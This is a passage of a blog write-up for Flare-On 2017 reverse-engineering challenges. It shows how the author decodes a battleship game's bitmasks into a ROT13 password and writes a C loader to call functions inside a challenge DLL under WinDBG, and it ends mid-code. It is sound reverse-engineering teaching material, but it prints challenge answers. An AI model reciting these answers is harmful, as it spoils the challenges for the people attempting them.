&lt;&#x2F;span&gt;&lt;span&gt;time_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;time&lt;&#x2F;span&gt;&lt;span&gt;(time_t *&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span&gt;){ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; }
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;rand&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;){ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; }
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;With randomness out of the way, our board game with the position of all the
ships will be the same at every runtime.&lt;&#x2F;p&gt;
&lt;p&gt;The function &lt;code&gt;draw_grid()&lt;&#x2F;code&gt; called with a pointer to the game board as
parameter. By reading it, the function knows how to print a cell (empty, full)
and therefore knows the configuration of the board.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;gef➤  bp *0x403c3a
&lt;&#x2F;span&gt;&lt;span&gt;gef➤  dps $rdi l1
&lt;&#x2F;span&gt;&lt;span&gt;0x0000000000614010│+0x00: 0x0008087808087800	 ← $rax, $rdi
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This is a bitmask representing the position of the board: to make easier I wrote
a Python function to convert this value into a list of position on the board:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;background-color:#bf616a;color:#2b303b;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;convert_to_solution&lt;&#x2F;span&gt;&lt;span&gt;(rdi):
&lt;&#x2F;span&gt;&lt;span&gt;        line = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;bin&lt;&#x2F;span&gt;&lt;span&gt;(rdi)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;:].&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rjust&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;64&lt;&#x2F;span&gt;&lt;span&gt;,&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)
&lt;&#x2F;span&gt;&lt;span&gt;        table = [line[i:i+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(line), &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;)][::-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(table)):
&lt;&#x2F;span&gt;&lt;span&gt;            row = table[i][::-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;j &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(row)):
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;row[j] == &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;:
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%c%c &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; % ( &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(i+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)), &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(j+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)), &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;end&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;                    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;   &amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;end&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;convert_to_solution&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x0008087808087800&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;         B4 B5 B6 B7
&lt;&#x2F;span&gt;&lt;span&gt;         C4
&lt;&#x2F;span&gt;&lt;span&gt;         D4
&lt;&#x2F;span&gt;&lt;span&gt;         E4 E5 E6 E7
&lt;&#x2F;span&gt;&lt;span&gt;         F4
&lt;&#x2F;span&gt;&lt;span&gt;         G4
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We get 2 things: one, we have all the positions for the enemy boats; two, the
disposition of the boats on the board forms an ASCII letter (here ‘F’).&lt;&#x2F;p&gt;
&lt;p&gt;By advancing through all the levels, we can collect more letters:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;0x0008087808087800 →  “f”&lt;&#x2F;li&gt;
&lt;li&gt;0x008888f888888800 →  “h”&lt;&#x2F;li&gt;
&lt;li&gt;0x7e8181f10101817e →  “g”&lt;&#x2F;li&gt;
&lt;li&gt;0xf090909090000000 →  “u”&lt;&#x2F;li&gt;
&lt;li&gt;0x0000f8102040f800 →  “z”&lt;&#x2F;li&gt;
&lt;li&gt;0x0000000905070907 →  “r”&lt;&#x2F;li&gt;
&lt;li&gt;0x7010701070000000 →  “e”&lt;&#x2F;li&gt;
&lt;li&gt;0x0006090808083e00 →  “j”&lt;&#x2F;li&gt;
&lt;li&gt;0x1028444444000000 →  “v”&lt;&#x2F;li&gt;
&lt;li&gt;0x0c1212120c000000 →  “o”&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Reaching the final level and entering the valid positions of boats gets a
message:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;Final answer:
&lt;&#x2F;span&gt;&lt;span&gt;Aye! You found some letters did ya? To find what you&amp;#39;re looking for, you&amp;#39;ll want to
&lt;&#x2F;span&gt;&lt;span&gt;re-order them:
&lt;&#x2F;span&gt;&lt;span&gt;9, 1, 2, 7, 3, 5, 6, 5, 8, 0, 2, 3, 5, 6, 1, 4.
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Next you let 13 ROT in the sea! THE FINAL SECRET CAN BE FOUND WITH ONLY THE UPPER CASE.
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;Thanks for playing!
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;By simply applying this formula, we find the result to be &lt;code&gt;ohgjurervfgurehz&lt;&#x2F;code&gt;
which when in uppercase ROT13-ed gives &lt;code&gt;BUTWHEREISTHERUM&lt;&#x2F;code&gt;. Give this password as
input, and after a bit of computation time obtain the key to finish the level:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;532e605c764a754f32dbb0d2581913dbf0283d76e21f12cbf92841cfae67f8c4.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;532e605c764a754f32dbb0d2581913dbf0283d76e21f12cbf92841cfae67f8c4.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#menu&quot;&gt;Back to Menu&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;challenge-6&quot;&gt;Challenge 6&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;instruction-5&quot;&gt;Instruction&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;I hope you enjoyed your game. I know I did. We will now return to the topic of
&lt;&#x2F;span&gt;&lt;span&gt;cyberspace electronic computer hacking and digital software reverse
&lt;&#x2F;span&gt;&lt;span&gt;engineering.
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;solution-5&quot;&gt;Solution&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mega.nz&#x2F;#!Nd5g3ToA!ArZp4KMqteCSQQwywP2LE-xdYly-UoQEBoig4CfCuIY&quot;&gt;&lt;code&gt;payload.dll&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; is a PE32+ DLL x86-64. The
DLL doesn’t sweat much info out of the box, so I decide to use both dynamic and
static analysis. Although the static part is perfectly handled by IDA, I wanted
the dynamic analysis to be custom so I had to make a small loader for this
library.&lt;&#x2F;p&gt;
&lt;p&gt;Since the notation
is &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.agner.org&#x2F;optimize&#x2F;calling_conventions.pdf&quot;&gt;stdecl&lt;&#x2F;a&gt;, the
arguments are passed to registers in the following order: rcx, rdx, r8, r9&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;windows.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;stdint.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;stdio.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;stdlib.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span&gt;DLL_LOCATION &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TEXT&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;F:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;flareon_2017&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;payload.dll&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;typedef void &lt;&#x2F;span&gt;&lt;span&gt;(__stdcall *FuncType)(uint64_t, uint64_t, uint64_t, uint64_t);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* Call the location at `addr` with [a1 .. a4] as arguments. *&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;CallWithArgs&lt;&#x2F;span&gt;&lt;span&gt;(uintptr_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span&gt;, uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;a1&lt;&#x2F;span&gt;&lt;span&gt;, uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;a2&lt;&#x2F;span&gt;&lt;span&gt;, uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;a3&lt;&#x2F;span&gt;&lt;span&gt;, uint64_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;a4&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PrintDebug&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] calling %1!p!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, (va_list*)&amp;amp;addr);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DebugBreak&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;    ((FuncType)(addr))(a1,a2,a3,a4);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* Print debug message directly in WinDBG. *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;VOID &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;PrintDebug&lt;&#x2F;span&gt;&lt;span&gt;(LPTSTR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pMsgFmt&lt;&#x2F;span&gt;&lt;span&gt;, va_list* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pArgs&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    CHAR pMsg[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;128&lt;&#x2F;span&gt;&lt;span&gt;] = {&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,};
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;FormatMessage&lt;&#x2F;span&gt;&lt;span&gt;(FORMAT_MESSAGE_FROM_STRING | FORMAT_MESSAGE_ARGUMENT_ARRAY,
&lt;&#x2F;span&gt;&lt;span&gt;                  pMsgFmt, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, pMsg, sizeof(pMsg), (va_list*)pArgs);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;OutputDebugString&lt;&#x2F;span&gt;&lt;span&gt;(pMsg);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* main() *&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span&gt;WINAPI &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;WinMain&lt;&#x2F;span&gt;&lt;span&gt;(HINSTANCE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;hInstance&lt;&#x2F;span&gt;&lt;span&gt;, HINSTANCE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;hPrevInstance&lt;&#x2F;span&gt;&lt;span&gt;, LPSTR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;lpCmdLine&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;nCmdShow&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        HMODULE handle = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;LoadLibraryEx&lt;&#x2F;span&gt;&lt;span&gt;(DLL_LOCATION, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PrintDebug&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;[+] DLL allocated at %1!p!&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, (va_list*)&amp;amp;handle);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DebugBreak&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* do more stuff here *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;FreeLibrary&lt;&#x2F;span&gt;&lt;span&gt;(handle);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;With this simple library loader, I have an accurate way of invoking any location
withing the DLL and display runtime information directly inside WinDBG.&lt;&#x2F;p&gt;
&lt;p&gt;IDA quickly pointed me to the function at offset 0x5A50 - which I’ve called
&lt;code&gt;Func3()&lt;&#x2F;code&gt;. The loop at 0x180005B05 is a simple &lt;code&gt;strcmp()&lt;&#x2F;code&gt; like loop comparing
&lt;code&gt;arg1&lt;&#x2F;code&gt; (that we control) to a value from the DLL.&lt;&#x2F;p&gt;
&lt;p&gt;When WinDBG break at this location, we can get the value of the value our
argument is compared to:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;000&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; bp payload+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x5b05
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;000&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; g
&lt;&#x2F;span&gt;&lt;span&gt;Breakpoint &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt; hit
&lt;&#x2F;span&gt;&lt;span&gt;payload+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x5b05&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;000007&lt;&#x2F;span&gt;&lt;span style=&quot;background-color:#bf616a;color:#2b303b;&quot;&gt;fe&lt;&#x2F;span&gt;&lt;span&gt;`f38e5b05 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;background-color:#bf616a;color:#2b303b;&quot;&gt;fb610&lt;&#x2F;span&gt;&lt;span&gt;          movzx   edx,byte ptr [rax] ds:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;000007&lt;&#x2F;span&gt;&lt;span style=&quot;background-color:#bf616a;color:#2b303b;&quot;&gt;fe&lt;&#x2F;span&gt;&lt;span&gt;`f38e4240=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;f
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;000&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; da rax
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;000007&lt;&#x2F;span&gt;&lt;span style=&quot;background-color:#bf616a;color:#2b303b;&quot;&gt;fe&lt;&#x2F;span&gt;&lt;span&gt;`f38e4240  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;orphanedirreproducibleconfidence&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;000007&lt;&#x2F;span&gt;&lt;span style=&quot;background-color:#bf616a;color:#2b303b;&quot;&gt;fe&lt;&#x2F;span&gt;&lt;span&gt;`f38e4260  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;s&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Using the loader, we can now invoke this function easily:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; inside WinMain
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;        uintptr_t Func3 = handle + &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x5A50 &lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;        PCHAR a3 = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;orphanedirreproducibleconfidences&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;;
